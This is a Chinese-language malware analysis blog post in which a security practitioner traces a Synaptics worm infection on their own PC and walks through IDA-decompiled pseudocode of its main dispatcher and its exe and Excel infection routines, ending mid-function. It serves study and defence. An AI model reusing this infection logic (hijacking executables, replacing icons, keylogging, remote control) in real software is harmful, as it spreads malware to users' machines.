Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

admin 2024年3月7日23:17:46评论27 views字数 52270阅读174分14秒阅读模式
Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

0x01 事情起因

最近这两天刷逆向题目,有几个加了upx压缩壳的程序,想用upx -d去除一下压缩壳,但是把程序放到文件夹中就自动变大,还给我加了个帝国时代的图标,这什么玩意?upx -d都不用输了?自动给我脱壳?这么智能了吗,但是upx什么时候效果这么好了,原程序775k,压缩完了只有21k?

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析
Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

当时以为是有bug,也没多想,又把程序丢到kali里面用upx给脱了一下,就继续做题了。

过了好几天,今天又去upx脱壳,发现还是不行,这时候感觉有点不对,我又随便把一些程序放到upx文件夹里面,发现有的程序会变大并且加上这个图标,有的程序就不会。当时就感觉很奇怪,把变大的程序用ida和010分别打开看了看。

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

发现了一些关键的字符串,像是被加密了。

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

当时也没想到是病毒(因为这个病毒其他的症状我这都没发现,没影响我使用),包括这些可疑的网址当时也没仔细看。还是没想明白咋回事,然而却在任务管理器里面发现了这个东西。

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

这个时候去网上一搜

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

原来哥们中病毒了

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

丢进微步云沙箱里面

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

是病毒无疑了

0x02 分析溯源

当时在网上找了一些资料,详情见参考链接

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

C:ProgramDataSynaptics路径下的原始病毒文件是存在的,病毒文件默认是隐藏的,win11需要取消勾选“隐藏受保护的操作系统文件”,才能看到。

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

但是在Temp文件中,并没有发现病毒释放的exe文件。

还有的说会满载cpu、占用内存、填充c盘、感染xls文件等等,我这里没有出现。

病毒主要感染的路径是:

文档目录:"C:UsersUserNameDocuments"

桌面目录:"C:UsersUserNameDesktop"

下载目录:"C:UsersUserNameDownloads"

而我的upx文件夹在桌面下,这也可以说得通为什么放到upx文件夹中会被感染了。且病毒只能感染32位的exe程序,好像除了放到upx文件夹下的这几个文件被感染,其他的没啥(这病毒也一般般吧 /狗头)。

具体这个病毒是怎么来的,搜索了被感染的文件,发现最早被感染时间是2023/07/08,并且病毒文件夹下的“WS”文件夹创建时间也是2023/07/08,应该是在这天就被感染了,当时应该是在网上下的软件被捆绑了病毒。

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析
也许是因为被感染的文件大部分都已经很久没用了,所以病毒程序一直没有触发,在12月21日这天我运行了被感染的32位文件,也就是age2.exe,导致病毒程序运行,病毒文件生成时间也是2023/12/21,当时Windows安全中心应该提醒了,但是我没管,就导致了病毒的触发,并且一直没有开启查看隐藏的文件,所以一直到现在才被发现。

0x03 静态分析

Synaptics.exe
Synaptics.exe: PE32 executable (GUI) Intel 80386, for MS Windows
MD5 (Synaptics.exe) = 4b88d205afcf1994221d841197860ffb
SHA1 (Synaptics.exe) = a701f6af0145d6a210160b25f67b3733ad9c47c7
SHA256 (Synaptics.exe) = 42938a07c0b11ff05243e773a4052cdf9de4decedc53eb9997bdd671a3c48186

还是第一次分析一个完成的病毒程序,程序函数很多,而且大多数函数无法识别主要功能,只能自己一点点的慢慢找,先寻找关键的主函数,参考了网上的很多相关的分析文章,并没有指出主函数在哪,只有几个功能模块函数的分析,而且还不是很全,只能自己慢慢的找,先通过关键字符串找到对应的功能模块,再一步步的查看函数的引用,最后找了很久终于找到了程序的主函数,分析发现病毒一共有6大功能:

①正常感染文件

②持久化

③USB设备监视,感染USB设备中的文件

④远程控制

⑤键盘监听

⑥回传邮件

主函数通过传进来的参数来判断是否执行这些功能,每个功能都有一个判断语句来判断是否进行正常操作。

int __userpurge Main@<eax>(
        Controls::TWinControl *a1@<eax>,
        char a2@<dl>,
        int a3@<ecx>,
        int a4@<ebx>,
        int a5@<edi>,
        unsigned int a6@<esi>,
        char a7,
        char a8,
        char a9,
        char a10,
        char a11)
{
  int v12; // eax
  int v13; // ebx
  int Handle; // eax
  int v15; // edx
  int v16; // ebx
  int v17; // eax
  int v18; // eax
  int v19; // eax
  int v21; // [esp-28h] [ebp-3Ch]
  int v22; // [esp-24h] [ebp-38h]
  int v23; // [esp-20h] [ebp-34h]
  int v24; // [esp-1Ch] [ebp-30h]
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-2Ch] BYREF
  LPPOINT v26; // [esp-14h] [ebp-28h] BYREF
  LPBYTE v27; // [esp-10h] [ebp-24h]
  int v28; // [esp-Ch] [ebp-20h]
  unsigned int v29; // [esp-8h] [ebp-1Ch]
  int v30; // [esp-4h] [ebp-18h]
  int v31; // [esp+0h] [ebp-14h] BYREF
  void *v32; // [esp+4h] [ebp-10h] BYREF
  void *v33; // [esp+8h] [ebp-Ch] BYREF
  int System__AnsiString; // [esp+Ch] [ebp-8h] BYREF
  Controls::TWinControl *v35; // [esp+10h] [ebp-4h]
  int savedregs; // [esp+14h] [ebp+0h] BYREF

  System__AnsiString = 0;
  v33 = 0;
  v32 = 0;
  v31 = 0;
  v30 = a4;
  v29 = a6;
  v28 = a5;
  v35 = a1;
  v27 = (LPBYTE)&savedregs;
  v26 = (LPPOINT)&loc_49A352;
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&ExceptionList);
  if ( a2 )                                     // 正常感染判断语句
  {
    Sysutils::StrToBoolDef(dword_49F1D0, 1);
    Sysutils::StrToBoolDef(dword_49F1D0, 1);
    GetPathOpExeXlsx((HDC)ExceptionList, v26, v27, v28); // 获取路径,感染exe和xlsx
  }
  v12 = Sysutils::StrToInt(dword_49F1AC);
  if ( (_BYTE)a3 )                              // 自动更新判断语句
    AutoUpdateTime(v35, 11, v12);             // 设置自动更新,持久化
  else
    AutoUpdateTime(v35, 01, v12);
  if ( a11 )                                    // 远程控制判断语句
  {
    v28 = (int)&savedregs;
    v27 = (LPBYTE)&loc_49A1A3;
    v26 = (LPPOINT)NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&v26);
    if ( !dword_49F140 )
    {
      ExceptionList = (_EXCEPTION_REGISTRATION_RECORD *)dword_49F154;
      v24 = dword_49F158;
      v23 = dword_49F15C;
      v22 = dword_49F160;
      v21 = dword_49F164;
      Sysutils::IntToStr(dword_49F14C);
      dword_49F140 = Adaptreq::TAdapterRequestParamsImpl::TAdapterRequestParamsImpl(
                       v31,
                       v21,
                       v22,
                       v23,
                       v24,
                       (int)ExceptionList);
    }
    RemoteControlA(dword_49F140, 11);         // 远程控制
    sub_4967D4((int)v35, (int)&str_TCP_Client____A[1]);
    __writefsdword(0, (unsigned int)v26);
  }
  else if ( dword_49F140 )
  {
    RemoteControlA(dword_49F140, 00);         // 远程控制
    sub_4967D4((int)v35, (int)&str_TCP_Client__[1]);
  }
  if ( a10 )                                    // USB监控判断语句
    sub_496E18((int)v35, 1u);                   // 开启USB监控,1开启,0不开启
  else                                          // 不开启USB监控
    sub_496E18((int)v35, 0);
  if ( a9 )                                     // 感染USB设备中的文件判断语句
  {
    GetFilePath(5, (int)&System__AnsiString);
    GetFilePath(6, (int)&v33);
    GetFilePath(7, (int)&v32);
    if ( Sysutils::DirectoryExists(System__AnsiString) )
      sub_496A40((int)v35, (void *)System__AnsiString, 0, a3, a5, a6, 0);
    if ( Sysutils::DirectoryExists((const int)v33) )
      sub_496A40((int)v35, v33, 0, a3, a5, a6, 0);
    if ( Sysutils::DirectoryExists((const int)v32) )
      sub_496A40((int)v35, v32, 0, a3, a5, a6, 0);
    sub_496B94((int)v35, 1);
  }
  else
  {
    sub_496B94((int)v35, 0);
  }
  if ( a8 )                                     // 键盘监听判断语句
  {
    v13 = Websnapobjs::TPageObj::TPageObj(off_49D6B0);
    *((_DWORD *)v35 + 191) = v13;
    Handle = Controls::TWinControl::GetHandle(v35);
    LOBYTE(v15) = 1;
    KeyboardMonitor(v13, v15, Handle);          // 键盘监听
    sub_4967D4((int)v35, (int)&str_Keyboard_Hook__[1]);
  }
  else
  {
    v16 = *((_DWORD *)v35 + 191);
    if ( v16 )
    {
      v17 = Controls::TWinControl::GetHandle(v35);
      KeyboardMonitor(v16, 0, v17);
      sub_4967D4((int)v35, (int)&str_Keyboard_Hook___0[1]);
    }
  }
  if ( a7 )                                     // 回传邮件判断语句
  {
    v28 = 1;
    v18 = Sysutils::StrToInt(dword_49F1C4);
    AutoSendMail((int)v35, v18, 1, v28);
  }
  else
  {
    v28 = 0;
    v19 = Sysutils::StrToInt(dword_49F1C4);
    AutoSendMail((int)v35, v19, 0, v28);
  }
  __writefsdword(0, v29);
  v31 = (int)&loc_49A359;
  return System::__linkproc__ LStrArrayClr(&v31, 4);
}

挨个功能进行分析

1、文件感染

跟进GetPathOpExeXlsx函数,也可以通过.xlsx等关键词找到相关函数。

int __stdcall GetPathOpExeXlsx(HDC hdc, LPPOINT apt, LPBYTE aj, int cpt)
{
  __int32 v4; // eax
  char v5; // dl
  __int32 v6; // ecx
  char v7; // bl
  char v8; // dl
  int v9; // edx
  int v10; // eax
  int v11; // ebx
  int v12; // esi
  int v13; // eax
  int v14; // ebx
  int v15; // esi
  int v16; // eax
  int v17; // ebx
  int v18; // esi
  int v19; // eax
  int v20; // ebx
  int v21; // esi
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-60h] BYREF
  void *v24; // [esp-14h] [ebp-5Ch]
  int *v25; // [esp-10h] [ebp-58h]
  unsigned int v26[2]; // [esp-Ch] [ebp-54h] BYREF
  int *v27; // [esp-4h] [ebp-4Ch]
  int v28; // [esp+Ch] [ebp-3Ch] BYREF
  int v29; // [esp+10h] [ebp-38h] BYREF
  void *v30; // [esp+14h] [ebp-34h] BYREF
  int v31; // [esp+18h] [ebp-30h] BYREF
  int v32; // [esp+1Ch] [ebp-2Ch] BYREF
  int v33; // [esp+20h] [ebp-28h] BYREF
  void *v34; // [esp+24h] [ebp-24h] BYREF
  int v35; // [esp+28h] [ebp-20h] BYREF
  int v36; // [esp+2Ch] [ebp-1Ch] BYREF
  int v37; // [esp+30h] [ebp-18h] BYREF
  int System__AnsiString; // [esp+34h] [ebp-14h] BYREF
  System::TObject *v39; // [esp+38h] [ebp-10h]
  System::TObject *v40; // [esp+3Ch] [ebp-Ch]
  char v41; // [esp+43h] [ebp-5h]
  __int32 v42; // [esp+44h] [ebp-4h] BYREF
  int savedregs; // [esp+48h] [ebp+0h] BYREF

  v41 = _InterlockedExchange(&v42, v6);
  v7 = v5;
  v42 = v4;
  v27 = &savedregs;
  v26[1] = (unsigned int)&loc_49863B;
  v26[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v26);
  v8 = 1;
  v40 = (System::TObject *)unknown_libname_59(cls_Classes_TStringList, v8);
  LOBYTE(v9) = 1;
  v39 = (System::TObject *)unknown_libname_59(cls_Classes_TStringList, v9);
  if ( v7 )
  {
    v25 = &savedregs;
    v24 = &loc_4984DA;
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&ExceptionList);
    GetFilePath(5, (int)&System__AnsiString);   // 获取“文档”路径
    GetFilePath(6, (int)&v37);                  // 获取“桌面”路径
    GetFilePath(7, (int)&v36);                  // 获取“下载”路径
    if ( Sysutils::DirectoryExists(System__AnsiString) )// DirectoryExists检查路径是否存在
      sub_4742BC((void *)System__AnsiString, (int)&str__exe_3[1], (int)v40, 1);// 遍历目录中的exe文件
    if ( Sysutils::DirectoryExists(v37) )
      sub_4742BC((void *)v37, (int)&str__exe_3[1], (int)v40, 1);
    if ( Sysutils::DirectoryExists(v36) )
      sub_4742BC((void *)v36, (int)&str__exe_3[1], (int)v40, 1);
    v10 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v40 + 20))(v40);// 记录exe文件个数
    if ( v10 - 1 >= 0 )
    {
      v11 = v10;
      v12 = 0;
      do
      {
        (*(void (__fastcall **)(System::TObject *, intvoid **))(*(_DWORD *)v40 + 12))(v40, v12, &v34);
        System::__linkproc__ LStrCat3((int)&v35, &str_Injecting_____1[1], v34);
        sub_4967D4(v42, v35);
        ++v12;
        --v11;
      }
      while ( v11 );
    }
    OpExeUpdate(v40, (int)off_49D6B8, off_49D6BC, dword_49F14C, 1);// 通过EXERESX标识判断文件是否已经被感染,如果没有,执行OpExe进行感染
    v13 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v40 + 20))(v40);
    if ( v13 - 1 >= 0 )                         // 循环处理v35中的元素
    {
      v14 = v13;
      v15 = 0;
      do
      {
        (*(void (__fastcall **)(System::TObject *, intint *))(*(_DWORD *)v40 + 12))(v40, v15, &v33);
        if ( v33 )
        {
          (*(void (__fastcall **)(System::TObject *, intint *))(*(_DWORD *)v40 + 12))(v40, v15, &v32);
          sub_4967D4(v42, v32);
        }
        ++v15;
        --v14;
      }
      while ( v14 );
    }
    System::TObject::Free(v40);
    __writefsdword(0, (unsigned int)ExceptionList);
  }
  if ( v41 )
  {
    v25 = &savedregs;
    v24 = &loc_498616;
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&ExceptionList);
    GetFilePath(5, (int)&System__AnsiString);
    GetFilePath(6, (int)&v37);
    GetFilePath(7, (int)&v36);
    if ( Sysutils::DirectoryExists(System__AnsiString) )
      sub_4742BC((void *)System__AnsiString, (int)&str__xlsx_1[1], (int)v39, 1);// 遍历xlsx文件,其他同上
    if ( Sysutils::DirectoryExists(v37) )
      sub_4742BC((void *)v37, (int)&str__xlsx_1[1], (int)v39, 1);
    if ( Sysutils::DirectoryExists(v36) )
      sub_4742BC((void *)v36, (int)&str__xlsx_1[1], (int)v39, 1);
    v16 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v39 + 20))(v39);
    if ( v16 - 1 >= 0 )
    {
      v17 = v16;
      v18 = 0;
      do
      {
        (*(void (__fastcall **)(System::TObject *, intvoid **))(*(_DWORD *)v39 + 12))(v39, v18, &v30);
        System::__linkproc__ LStrCat3((int)&v31, &str_Injecting_____1[1], v30);
        sub_4967D4(v42, v31);
        ++v18;
        --v17;
      }
      while ( v17 );
    }
    sub_479748(v39);
    v19 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v39 + 20))(v39);
    if ( v19 - 1 >= 0 )
    {
      v20 = v19;
      v21 = 0;
      do
      {
        (*(void (__fastcall **)(System::TObject *, intint *))(*(_DWORD *)v39 + 12))(v39, v21, &v29);
        if ( v29 )
        {
          (*(void (__fastcall **)(System::TObject *, intint *))(*(_DWORD *)v39 + 12))(v39, v21, &v28);
          sub_4967D4(v42, v28);
        }
        ++v21;
        --v20;
      }
      while ( v20 );
    }
    System::TObject::Free(v39);
    __writefsdword(0, (unsigned int)ExceptionList);
  }
  __writefsdword(0, v26[0]);
  v27 = (int *)&loc_498642;
  return System::__linkproc__ LStrArrayClr(&v28, 11);
}

主函数两个大的判断语句,一个处理exe另一个处理xlsx,结构内容都是一样的,先获取“文档、桌面、下载”的路径,病毒只会对这三个文件夹里面的内容进行感染。

在GetFilePath函数中,程序还会对xp系统进行单独的处理

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

获取到路径后分别遍历exe和xlsx的个数,并通过EXEVSNX标识来判断文件是否已经被感染。

可以通过ResHacker查看感染的文件,发现确实存在EXEVSNX标识

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

继续跟进到OpExeUpdate函数

int __fastcall OpExeUpdate(_DWORD *a1, int a2, __int32 a3, int a4, char a5)
{
  int v5; // eax
  const CHAR *v6; // eax
  __int32 v7; // ecx
  __int32 v8; // ecx
  unsigned int v10[2]; // [esp-14h] [ebp-60h] BYREF
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-58h] BYREF
  void *v12; // [esp-8h] [ebp-54h]
  int *v13; // [esp-4h] [ebp-50h]
  void *v14; // [esp+0h] [ebp-4Ch]
  void *v15; // [esp+Ch] [ebp-40h] BYREF
  int v16; // [esp+10h] [ebp-3Ch] BYREF
  void *v17; // [esp+14h] [ebp-38h] BYREF
  int v18; // [esp+18h] [ebp-34h] BYREF
  int v19; // [esp+1Ch] [ebp-30h] BYREF
  int v20; // [esp+20h] [ebp-2Ch] BYREF
  void *v21; // [esp+24h] [ebp-28h] BYREF
  int v22; // [esp+28h] [ebp-24h] BYREF
  int v23; // [esp+2Ch] [ebp-20h] BYREF
  int v24; // [esp+30h] [ebp-1Ch] BYREF
  int System__AnsiString; // [esp+34h] [ebp-18h] BYREF
  int v26; // [esp+38h] [ebp-14h]
  int v27; // [esp+3Ch] [ebp-10h]
  int v28; // [esp+40h] [ebp-Ch] BYREF
  int v29; // [esp+44h] [ebp-8h]
  _DWORD *v30; // [esp+48h] [ebp-4h] BYREF
  int savedregs; // [esp+4Ch] [ebp+0h] BYREF

  v28 = _InterlockedExchange((volatile __int32 *)&v30, a3);
  v29 = a2;
  v30 = a1;
  System::__linkproc__ LStrAddRef(a2);
  System::__linkproc__ LStrAddRef(v28);
  v13 = &savedregs;
  v12 = &loc_4778DD;
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&ExceptionList);
  if ( (*(int (__fastcall **)(_DWORD *, _DWORD))(*v30 + 20))(v30, *v30) >= 1 )
  {
    v5 = (*(int (__fastcall **)(_DWORD *))(*v30 + 20))(v30) - 1;
    if ( v5 >= 0 )
    {
      v26 = v5 + 1;
      v27 = 0;
      do
      {
        (*(void (__fastcall **)(_DWORD *, intint *))(*v30 + 12))(v30, v27, &System__AnsiString);
        if ( (unsigned __int8)Sysutils::FileExists(System__AnsiString) )
        {
          ExceptionList = (_EXCEPTION_REGISTRATION_RECORD *)&savedregs;
          v10[1] = (unsigned int)&loc_47789F;
          v10[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
          __writefsdword(0, (unsigned int)v10);
          (*(void (__fastcall **)(_DWORD *, intint *))(*v30 + 12))(v30, v27, &v24);
          v6 = (const CHAR *)System::__linkproc__ LStrToPChar(v24);
          dword_49EC78 = LoadLibraryA(v6);      // 将exe加载到内存
          if ( (unsigned __int8)sub_4770E4(dword_49EC78) )// 查询文件中是否存在“EXEVSNX”标识
          {
            sub_47717C(dword_49EC78, v28, &v20);
            if ( Sysutils::StrToInt(v20) >= a4 )// 通过感染文件的感染版本来判断是否需要重新感染
            {
              FreeLibrary_0(dword_49EC78);
              (*(void (__fastcall **)(_DWORD *, intvoid **))(*v30 + 12))(v30, v27, &v15);
              System::__linkproc__ LStrCat3((int)&v16, &str_Infected_Cancel[1], v15);
              (*(void (__fastcall **)(_DWORD *, intint))(*v30 + 32))(v30, v27, v16);
            }
            else                                // 低版本则进行更新
            {
              (*(void (__fastcall **)(_DWORD *, intint *))(*v30 + 12))(v30, v27, &v19);
              LOBYTE(v8) = a5;
              OpExe(v19, v29, v8, 1);
              (*(void (__fastcall **)(_DWORD *, intvoid **))(*v30 + 12))(v30, v27, &v17);
              System::__linkproc__ LStrCat3((int)&v18, &str_Vrs_Updated____[1], v17);
              (*(void (__fastcall **)(_DWORD *, intint))(*v30 + 32))(v30, v27, v18);
            }
          }
          else                                  // 文件中不存在“EXEVSNX”标志,直接感染
          {
            FreeLibrary_0(dword_49EC78);
            (*(void (__fastcall **)(_DWORD *, intint *))(*v30 + 12))(v30, v27, &v23);
            LOBYTE(v7) = a5;
            OpExe(v23, v29, v7, 0);
            (*(void (__fastcall **)(_DWORD *, intvoid **))(*v30 + 12))(v30, v27, &v21);
            System::__linkproc__ LStrCat3((int)&v22, &str_Completed____[1], v21);
            (*(void (__fastcall **)(_DWORD *, intint))(*v30 + 32))(v30, v27, v22);
          }
          __writefsdword(0, v10[0]);
        }
        ++v27;
        --v26;
      }
      while ( v26 );
    }
  }
  __writefsdword(0, (unsigned int)v12);
  v14 = &loc_4778E4;
  System::__linkproc__ LStrArrayClr(&v15, 11);
  return System::__linkproc__ LStrArrayClr(&v28, 2);
}

OpExeUpdate函数通过EXEVSNX标识来检查程序是否被感染或是否需要更新。

继续跟进OpExe感染函数查看。

int __fastcall OpExe(int a1, int a2, __int32 a3, char a4)
{
  int v4; // ecx
  int v5; // ecx
  int v6; // ecx
  int v7; // ecx
  int v8; // ecx
  const CHAR *v9; // eax
  int v10; // ecx
  int v11; // ecx
  int v12; // ecx
  int v14; // [esp-10h] [ebp-4Ch]
  unsigned int v15[2]; // [esp-Ch] [ebp-48h] BYREF
  int *v16; // [esp-4h] [ebp-40h]
  int v17; // [esp+4h] [ebp-38h] BYREF
  int System__AnsiString; // [esp+8h] [ebp-34h] BYREF
  int v19; // [esp+Ch] [ebp-30h] BYREF
  int v20; // [esp+10h] [ebp-2Ch] BYREF
  int v21; // [esp+14h] [ebp-28h] BYREF
  int v22; // [esp+18h] [ebp-24h] BYREF
  int v23; // [esp+1Ch] [ebp-20h] BYREF
  int v24; // [esp+20h] [ebp-1Ch] BYREF
  int v25[2]; // [esp+24h] [ebp-18h] BYREF
  int v26; // [esp+2Ch] [ebp-10h] BYREF
  int v27; // [esp+30h] [ebp-Ch] BYREF
  int v28; // [esp+34h] [ebp-8h]
  int v29; // [esp+38h] [ebp-4h] BYREF
  int savedregs; // [esp+3Ch] [ebp+0h] BYREF

  _InterlockedExchange(&v29, a3);
  v28 = a2;
  v29 = a1;
  System::__linkproc__ LStrAddRef(a1);
  System::__linkproc__ LStrAddRef(v28);
  v16 = &savedregs;
  v15[1] = (unsigned int)&loc_477699;
  v15[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v15);
  sub_4737B0(&v27);
  sub_472D44(8, (int)&v26);
  System::ParamStr(0);                          // 获取temp路径
  v14 = v25[1];
  System::__linkproc__ LStrCatN(v25, 4, v4, &str___29[1], v26, &str__exe[1]);// 将程序拷贝到temp目录下
  CopyFile(v14, v25[0], 0x80u);                 // 将程序拷贝到temp目录下
  if ( a4 )
  {
    System::__linkproc__ LStrCatN(&v23, 4, v5, &str___29[1], v26, &str__exe[1]);
    sub_477370(v23, v28);
  }
  else
  {                                             // 感染文件
    System::__linkproc__ LStrCatN(&v24, 4, v5, &str___29[1], v26, &str__exe[1]);
    sub_477244(v24, v29, v28);
  }
  System::__linkproc__ LStrCatN(&v22, 4, v6, &str___29[1], v26, &str__ico[1]);// 复制被感染文件的图标ico
  sub_473E4C(0);
  System::__linkproc__ LStrCatN(&v21, 4, v7, &str___29[1], v26, &str__exe[1]);
  System::__linkproc__ LStrToPChar(v21);
  System::__linkproc__ LStrCatN(&v20, 4, v8, &str___29[1], v26, &str__ico[1]);
  v9 = (const CHAR *)System::__linkproc__ LStrToPChar(v20);
  UpdateIco(v9);                                // 更新图标,将图标替换为被感染文件的图标
  System::__linkproc__ LStrCatN(&v19, 4, v10, &str___29[1], v26, &str__exe[1]);
  CopyFile(v19, v29, 0x80u);                    // 替换原文件
  System::__linkproc__ LStrCatN(&System__AnsiString, 4, v11, &str___29[1], v26, &str__exe[1]);
  Sysutils::DeleteFile(System__AnsiString);     // 删除感染后的exe文件
  System::__linkproc__ LStrCatN(&v17, 4, v12, &str___29[1], v26, &str__ico[1]);
  Sysutils::DeleteFile(v17);                    // 删除图标文件
  __writefsdword(0, v15[0]);
  v16 = (int *)&loc_4776A0;
  return System::__linkproc__ LStrArrayClr(&v17, 14);
}

通过源代码可以看到,病毒在初次感染程序的时候会在电脑temp路径下做一个备份,并且生成感染的文件,读取被感染程序的图标文件,替换程序的图标。

exe的感染基本就是这几个关键函数,接下来一起看下xls的感染过程。

int __fastcall OpXls(int a1, char a2)
{
  int v2; // ecx
  int v3; // ebx
  char v4; // zf
  char v5; // sf
  char v6; // of
  int v7; // ebx
  int v8; // esi
  int result; // eax
  int v10; // [esp-2Ch] [ebp-240h]
  int v11; // [esp-2Ch] [ebp-240h]
  int v12; // [esp-28h] [ebp-23Ch]
  int v13; // [esp-28h] [ebp-23Ch]
  int v14; // [esp-28h] [ebp-23Ch]
  int v15; // [esp-20h] [ebp-234h]
  int v16; // [esp-20h] [ebp-234h]
  int v17; // [esp-20h] [ebp-234h]
  int v18; // [esp-1Ch] [ebp-230h]
  int v19; // [esp-1Ch] [ebp-230h]
  int v20; // [esp-1Ch] [ebp-230h]
  int v21; // [esp-1Ch] [ebp-230h]
  int v22; // [esp-1Ch] [ebp-230h]
  int v23; // [esp-1Ch] [ebp-230h]
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-22Ch] BYREF
  void *v25; // [esp-14h] [ebp-228h]
  int *v26; // [esp-10h] [ebp-224h]
  unsigned int v27[2]; // [esp-Ch] [ebp-220h] BYREF
  int *v28; // [esp-4h] [ebp-218h]
  char v29[16]; // [esp+8h] [ebp-20Ch] BYREF
  int v30; // [esp+18h] [ebp-1FCh] BYREF
  int v31; // [esp+1Ch] [ebp-1F8h] BYREF
  int v32[2]; // [esp+20h] [ebp-1F4h] BYREF
  char v33[16]; // [esp+28h] [ebp-1ECh] BYREF
  char v34[16]; // [esp+38h] [ebp-1DCh] BYREF
  char v35[16]; // [esp+48h] [ebp-1CCh] BYREF
  VARIANTARG v36; // [esp+58h] [ebp-1BCh] BYREF
  char v37[16]; // [esp+68h] [ebp-1ACh] BYREF
  char v38[16]; // [esp+78h] [ebp-19Ch] BYREF
  char v39[16]; // [esp+88h] [ebp-18Ch] BYREF
  char v40[16]; // [esp+98h] [ebp-17Ch] BYREF
  int v41; // [esp+A8h] [ebp-16Ch] BYREF
  int v42; // [esp+B8h] [ebp-15Ch] BYREF
  VARIANTARG pvarg; // [esp+C8h] [ebp-14Ch] BYREF
  char v44[16]; // [esp+D8h] [ebp-13Ch] BYREF
  char v45[16]; // [esp+E8h] [ebp-12Ch] BYREF
  char v46[16]; // [esp+F8h] [ebp-11Ch] BYREF
  char v47[16]; // [esp+108h] [ebp-10Ch] BYREF
  char v48[16]; // [esp+118h] [ebp-FCh] BYREF
  int v49; // [esp+128h] [ebp-ECh] BYREF
  char v50[16]; // [esp+138h] [ebp-DCh] BYREF
  char v51[16]; // [esp+148h] [ebp-CCh] BYREF
  char v52[16]; // [esp+158h] [ebp-BCh] BYREF
  char v53[16]; // [esp+168h] [ebp-ACh] BYREF
  char v54[16]; // [esp+178h] [ebp-9Ch] BYREF
  int v55; // [esp+188h] [ebp-8Ch] BYREF
  char v56[16]; // [esp+198h] [ebp-7Ch] BYREF
  char v57[16]; // [esp+1A8h] [ebp-6Ch] BYREF
  char v58[16]; // [esp+1B8h] [ebp-5Ch] BYREF
  char v59[16]; // [esp+1C8h] [ebp-4Ch] BYREF
  char v60[16]; // [esp+1D8h] [ebp-3Ch] BYREF
  int v61; // [esp+1E8h] [ebp-2Ch] BYREF
  int v62; // [esp+1ECh] [ebp-28h] BYREF
  int v63; // [esp+1F0h] [ebp-24h] BYREF
  VARIANTARG v64; // [esp+1F4h] [ebp-20h] BYREF
  int System__AnsiString; // [esp+208h] [ebp-Ch] BYREF
  char v66; // [esp+20Fh] [ebp-5h]
  int v67; // [esp+210h] [ebp-4h] BYREF
  int savedregs; // [esp+214h] [ebp+0h] BYREF

  v66 = a2;
  v67 = a1;
  System::__linkproc__ LStrAddRef(a1);
  v28 = &savedregs;
  v27[1] = (unsigned int)&loc_4795C3;
  v27[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v27);
  if ( v66 )
  {
    Comobj::CreateOleObject((const int)&str_Excel_Applicati_0[1]);
    Variants::__linkproc__ VarFromDisp(&v64);
    Variants::__linkproc__ DispInvoke(0, &v64, dword_4795EC, 0);
    Variants::__linkproc__ DispInvoke(0, &v64, dword_479600, 0);
    Variants::__linkproc__ DispInvoke(0, &v64, dword_479614, 0);
  }
  else
  {
    Variants::__linkproc__ VarCopy((int)&v64, &pvargSrc);
    System::__linkproc__ LStrLAsg(&System__AnsiString, dword_49ECA8);
  }
  if ( !(unsigned __int8)Sysutils::FileExists(System__AnsiString) )
  {
    v26 = &savedregs;
    v25 = &loc_47903A;
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&ExceptionList);
    sub_4737B0(&v62);                           // GetTempPathA
    sub_472D44(8, &v61);
    System::__linkproc__ LStrCatN(&System__AnsiString, 4, v2, dword_479628, v61, ".xlsm");
    sub_47518C(&str_XLSM[1], System__AnsiString);// 读取XLSM资源
    System::__linkproc__ LStrAsg(&dword_49ECA8, System__AnsiString);
    Variants::__linkproc__ DispInvoke(v60, &v64, dword_479658, dword_47964C);
    Variants::__linkproc__ DispInvoke(0, v60, v15, &System__AnsiString);
    __writefsdword(0, (unsigned int)ExceptionList);
    v26 = (int *)&loc_479041;
    System::TObject::Free(dword_49ECAC);
  }
  if ( (unsigned __int8)sub_474CD0(&str_Excel_Applicati_0[1]) )
  {
    v26 = &savedregs;
    v25 = &loc_47954D;
